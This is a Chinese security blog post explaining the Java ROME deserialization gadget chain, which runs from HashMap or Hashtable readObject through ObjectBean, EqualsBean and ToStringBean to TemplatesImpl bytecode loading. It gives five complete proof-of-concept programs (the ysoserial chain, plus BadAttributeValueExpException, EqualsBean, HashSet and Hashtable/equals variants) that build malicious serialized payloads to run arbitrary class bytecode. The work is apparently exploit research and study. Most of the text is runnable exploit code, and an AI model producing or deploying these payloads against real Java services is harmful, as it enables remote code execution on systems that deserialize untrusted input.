首页 > 其他分享 >ROME 反序列化

ROME 反序列化

时间:2024-07-11 09:35:12浏览次数:14  
标签:obj tem Object ROME new import 序列化 class

ROME 反序列化

rome 是什么

ROME是主要用于解析RSS和Atom种子的一个Java框架。

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

他有个特殊的位置就是ROME提供了ToStringBean这个类,提供深入的toString方法对Java Bean进行操作。

环境配置

  • rome:rome:1.0
  • jdk8u71
<dependency>  
    <groupId>rome</groupId>  
    <artifactId>rome</artifactId>  
    <version>1.0</version>  
</dependency>

链子分析

* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

在 ysoserial 给出的链子中以 HashMap.readObject 作为反序列化入口点的。这个就不用多说了,触发 hash,触发 hashcode。然后和 cc6 不同的是触发得是 rome 中 ObjectBean 类的 hashcode,

然后触发EqualsBean. beanHashcode,在去触发 toString 函数,这个 _obj 可以通过构造函数进行控制。

跟着来到 ObjectBean 的 toString 方法:

发现调用了 toStringBean 的 toString 方法,跟进

通过旁边的注释也不难看出就是在通过反射调用 getter 方法。具体怎么回事呢,先跟进 getPropertyDescriptors 看看

看见在满足 if 条件后,先执行了 getPDs 方法,这个方法又干了什么?


就是获得 class 的 getter 和 setter 方法。

然后回到上面的 getPropertyDescriptors 方法,在获得 getter 和 setter 方法后调用了 _introspected.put 处理。_introspected 就是上面的 hashmap 对象。意思就是调用了 hashmap 的 put 方法把方法存进了 map 中,然后在 ToStringBean. toString 进行遍历 map 。

说起调用 getter 方法去加载字节码,和 CB 链思路很像。所以这里就是 ToStringBean. toString 去触发TemplatesImpl.getOutputProperties方法来加载字节码

poc 编写

先把 objectBean 进行实列化,待会调用其 hashcode 方法,看看其构造函数

然后需要的是 hashcoed 去触发 equalsBean.beanHashCode()

这里可以跳过调用 objectBean. toString,直接调用 ToStringBean. toString 方法。所以需要_obj 为 ToStringBean 对象,这里的 obj 也就是 objectBean 构造函数中的 obj,至于另一个参数 beanClass 就不用管了。

ObjectBean bean = new ObjectBean(ToStringBean.class,tobean);

然后在这之前就是 ToStringBean 对象的编写。来到其 toString 方法,

我们想要的是 TemplatesImpl 中的 getOutputProperties () 方法。但是上面说了会对所有的 getter 方法进行遍历,而 TemplatesImpl 有很多的 getter 方法,所以这里可以把 _beanClass 设置为其接口类 Templates.class,它里面只有这一个 getter 方法。

所以

ToStringBean tobean = new ToStringBean(Templates.class,tem);

剩下的前面触发 hashcode 方法就照着 cc6 写,后面动态类加载字节码可以照着 cb 链写。

然后至于解决 put 提前触发的问题可以把 ToStringBean 对象改为

ToStringBean tobean = new ToStringBean(Templates.class,);

在 put 过后利用反射修改 _obj 的值

Field v = tobean.getClass().getDeclaredField("_obj");  
v.setAccessible(true);  
v.set(tobean, tem);

最后 poc

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.syndication.feed.impl.ObjectBean;  
import com.sun.syndication.feed.impl.ToStringBean;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.lang.reflect.Field;  
  
  
public class Rome {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
  
        ToStringBean tobean = new ToStringBean(Templates.class,new ConstantTransformer(1));  
  
        ObjectBean bean = new ObjectBean(ToStringBean.class,tobean);  
  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(bean,"gaoren");  
  
        Field v = tobean.getClass().getDeclaredField("_obj");  
        v.setAccessible(true);  
        v.set(tobean, tem);  
  
        serilize(hashmap);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

番外

上面的 poc 是照着 ysoserial 中的链子写的,事实上 poc 还有很多。

BadAttributeValueExpException

上面看到最后想要调用的是 toString 方法,这和 cc5 很像,cc5 最后也是调用 TiedMapEntry. toString 方法去触发 getValue 方法。

所以这里利用 BadAttributeValueExpException. readobject 方法来触发 ToStringBean. tostring 方法,

直接照搬前面的 cc5

BadAttributeValueExpException val = new BadAttributeValueExpException(null);  
ObjectBean bean = new ObjectBean(Templates.class, tem);  
  
Field v = val.getClass().getDeclaredField("val");  
v.setAccessible(true);  
v.set(val, bean);

poc

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.syndication.feed.impl.ObjectBean;  
import javax.management.BadAttributeValueExpException;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.lang.reflect.Field;  
  
  
public class Rome {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);  
        ObjectBean bean = new ObjectBean(Templates.class, tem);  
  
        Field v = val.getClass().getDeclaredField("val");  
        v.setAccessible(true);  
        v.set(val, bean);  
  
        serilize(val);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

EqualsBean

EqualsBean 也有 hashcode 方法

所以和原本的 rome 没什么区别,就是把 hash 触发 objectbean. hashcode 改为 equalsbean. hashcode。

poc

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.syndication.feed.impl.EqualsBean;  
import com.sun.syndication.feed.impl.ObjectBean;  
import com.sun.syndication.feed.impl.ToStringBean;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.lang.reflect.Field;  
  
  
public class Rome {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
  
        ToStringBean tobean = new ToStringBean(Templates.class,new ConstantTransformer(1));  
  
        EqualsBean equal = new EqualsBean(ToStringBean.class,tobean);  
  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(equal,"gaoren");  
  
        Field v = tobean.getClass().getDeclaredField("_obj");  
        v.setAccessible(true);  
        v.set(tobean, tem);  
  
        serilize(hashmap);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

hashset

这个就是把开头触发 hashcode 换为了 cc6 另外一条。

hashset.readobject 中的 put 方法可以触发。这个也照着拼接就行了。

poc

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.syndication.feed.impl.EqualsBean;  
import com.sun.syndication.feed.impl.ObjectBean;  
import com.sun.syndication.feed.impl.ToStringBean;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.lang.reflect.Field;  
import java.util.HashSet;  
  
  
public class Rome {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
  
        ToStringBean tobean = new ToStringBean(Templates.class,new ConstantTransformer(1));  
  
        EqualsBean equal = new EqualsBean(ToStringBean.class,tobean);  
  
        HashSet set=new HashSet();  
        set.add(equal);  
  
        Field v = tobean.getClass().getDeclaredField("_obj");  
        v.setAccessible(true);  
        v.set(tobean, tem);  
  
        serilize(set);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

ObjectBean#equals

看了 nivia 师傅的文章,发现 ObjectBean.equals 也可以实现利用链,跟进

看见调用了 beanEquals,跟进后发现也有调用 getter 函数。

后面的就不用多说什么了,回忆一下前面是怎么触发到 equals 的。通过 hashtable. radobject 触发 reconstitutionPut 方法,然后两次 hash 比较相同后调用 equals 方法。最终会触发HashMap的equals方法,由于HashMap没有实现equals方法,会调用AbstructMap 类的equals方法。

这里看到又会调用 equals 方法,在原本的 cc7 中我们想要的就只是调用 m.get 函数,而这里可以通过控制 value 的值来调用到 ObjectBean 的 equals 方法。然后调用到 beanEquals 方法,但是最后要成功调用 getter 方法需要满足一些条件

看到要 bean1 和 bean2 不为空。还需要满足

if (!_beanClass.isInstance(bean2))

这里就是判断 bean2 是否是 _beanClass 类的或其子类的实例。由后面调用 getter 不难看出 _beanClass 是 equalsbean 类。

现在我们要做的就是让 bean2 满足条件就行,朔源发现 bean2 就是 AbstructMap 类 equals 方法中的 m.get(key)。m.get (key) 就是获取 hashmap 中 key 对应的 value 值。

然后就是我们还需要控制 value.equals(m.get(key)) 中的 value 值,让其为 objectbean 对象或者 equalsbean 对象(equalsbean 里面也有 equals 方法,同样可以直接触发 beanEquals 方法)。现在就是需要两个 value 值,一个为 TemplatesImpl 对象一个为 equalsbean 对象,所以这里需要两个 hashmap,先构造 payload 在分析吧

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.syndication.feed.impl.EqualsBean;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.Hashtable;  
import java.lang.reflect.Field;  
  
public class Rome {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        EqualsBean bean = new EqualsBean(String.class, "gaoren");  
  
        HashMap hashMap1 = new HashMap();  
        hashMap1.put("yy", bean);  
        hashMap1.put("zZ", tem);  
  
        HashMap hashMap2 = new HashMap();  
        hashMap2.put("yy", tem);  
        hashMap2.put("zZ", bean);  
  
        Hashtable table = new Hashtable();  
        table.put(hashMap1, "1");  
        table.put(hashMap2, "2");  
  
        setValue(bean, "_beanClass", Templates.class);  
        setValue(bean, "_obj", tem);  
  
        serilize(table);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

其他的都很好理解,可以看到这里 hashmap 里面传了两个键值对,先来分析其 hashcode 为什么相等。

跟进 hashcode 函数,发现其是计算的 hashmap 中键值对的 hash 值进行相加,

键值对的 hash 值又是如何计算的,继续看

可以看到是键 hash 加值 hash。所以这里 hashmap1 和 hashmap2 只是调换了键值对的顺序其 hash 相加还是相等的。因为在 hashtable 的 readobject 中进行判断时,hashmap1 和 hashmap2 都只是键。

然后就是关键的为什么要放两个键值对。

e 是 table 中的 hashmap,也就是 hashmap1,然后 key 是 hashmap2 中的键。然后继续跟进到 AbstractMap 的 equals 中。

i 是遍历的 hashmap 值,这个 hashmap 是调用该方法的 hashmap ,也就是 hashmap1。而 m 是 hashmap2。所以这里的 value 就是 equalsbean 对象,而 m.get (key) 就是 TemplatesImpl。最后反射修改值,调用 getter 方法。

当然还有一些可以和其他的结合的就太多了。

参考:https://xz.aliyun.com/t/12768?time__1311=GqGxu7G%3DoYqCqGN4eewwrDn77GCDcWmcaoD

参考:https://nivi4.notion.site/ROME-5b10d8b72e6d400aaec4722039b6c9ea

标签:obj,tem,Object,ROME,new,import,序列化,class
From: https://www.cnblogs.com/gaorenyusi/p/18295387

相关文章

  • RedisTemplate 中序列化方式辨析
    在SpringDataRedis中,RedisTemplate是操作Redis的核心类,它提供了丰富的API来与Redis进行交互。由于Redis是一个键值存储系统,它存储的是字节序列,因此在使用RedisTemplate时,需要指定键(Key)和值(Value)的序列化方式。不同的序列化方式适用于不同的场景。下面将详细介绍几种序列......
  • 使用clickhous自带的Prometheus监控时,clickhous相关指标解释说明
    找了一圈没发现关于这些指标的说明,特地记录下:指标解释ClickHouseProfileEvents_Query已执行的查询总数,帮助监控数据库的查询负载,了解数据库的使用频率和工作负载。ClickHouseProfileEvents_SelectQuery已执行的SELECT查询总数,了解读操作的负载情况,评估查询优化效果......
  • 记一次springboot整合rabbitMQ的list序列化问题
    问题:平时传一个类的时候都会继承Serializable实现正确传输,这次我把list<Object>直接丢成了message,导致rabbitMQ不能序列化对象。报错org.springframework.amqp.rabbit.support.ListenerExecutionFailedException:Failedtoconvertmessage下面的整合步骤提供了解决方案:在发......
  • Chrome海康VideoWebPlugin无法调用
    在高版本Chome浏览器中无法使用VideoWebPlugin解决办法第一种使用低于94版本的Chrome浏览器下载地址:旧版本下载第二种在谷歌浏览器中地址栏输入chrome://flags/Allowinvalidcertificatesforresourcesloadedfromlocalhost(Enabled)Blockinsecureprivatenetwork......
  • Prometheus Operator 安装配置
    一、概述首先Prometheus整体监控结构略微复杂,一个个部署并不简单。另外监控Kubernetes就需要访问内部数据,必定需要进行认证、鉴权、准入控制,那么这一整套下来将变得难上加难,而且还需要花费一定的时间,如果你没有特别高的要求,还是建议选用开源比较好的一些方案。在k8s初期使用Hea......
  • Java版Flink使用指南——定制RabbitMQ数据源的序列化器
    大纲新建工程新增依赖数据对象序列化器接入数据源测试修改Slot个数打包、提交、运行工程代码在《Java版Flink使用指南——从RabbitMQ中队列中接入消息流》一文中,我们从RabbitMQ队列中读取了字符串型数据。如果我们希望读取的数据被自动化转换为一个对象,则需要定制序......
  • C#——二进制流序列化和反序列化
    C#二进制流序列化和反序列化在C#中,可以使用BinaryFormatter来进行二进制的序列化和反序列化。首先,定义一个可序列化的类[Serializable]publicclassMyObject{publicintIntProperty{get;set;}publicstringStringProperty{get;set;}}使用BinaryFo......
  • C#——XML格式序列化和反序列化
    C#—XML格式序列化和反序列化在C#中,可以使用System.Xml.Serialization命名空间下的XmlSerializer类来实现XML的序列化。首先,定义一个可序列化的对象模型:usingSystem;usingSystem.Xml.Serialization;[XmlRoot("Person")]publicclassPerson{[XmlElement("Name"......
  • Maven工程下:alibaba fastjson2的各种序列化:java对象转json对象、json对象转java对象
    pom文件导入fastjson2坐标:<dependency><groupId>com.alibaba.fastjson2</groupId><artifactId>fastjson2</artifactId><version>2.0.51</version></dependency>UserVO对象:@Data@AllArgsConstructor......
  • 一个难忘的json反序列化问题
    前言最近我在做知识星球中的商品秒杀系统,昨天遇到了一个诡异的json反序列化问题,感觉挺有意思的,现在拿出来跟大家一起分享一下,希望对你会有所帮助。案发现场我最近在做知识星球中的商品秒杀系统,写了一个filter,获取用户请求的header中获取JWT的token信息。然后根据token信息,获取......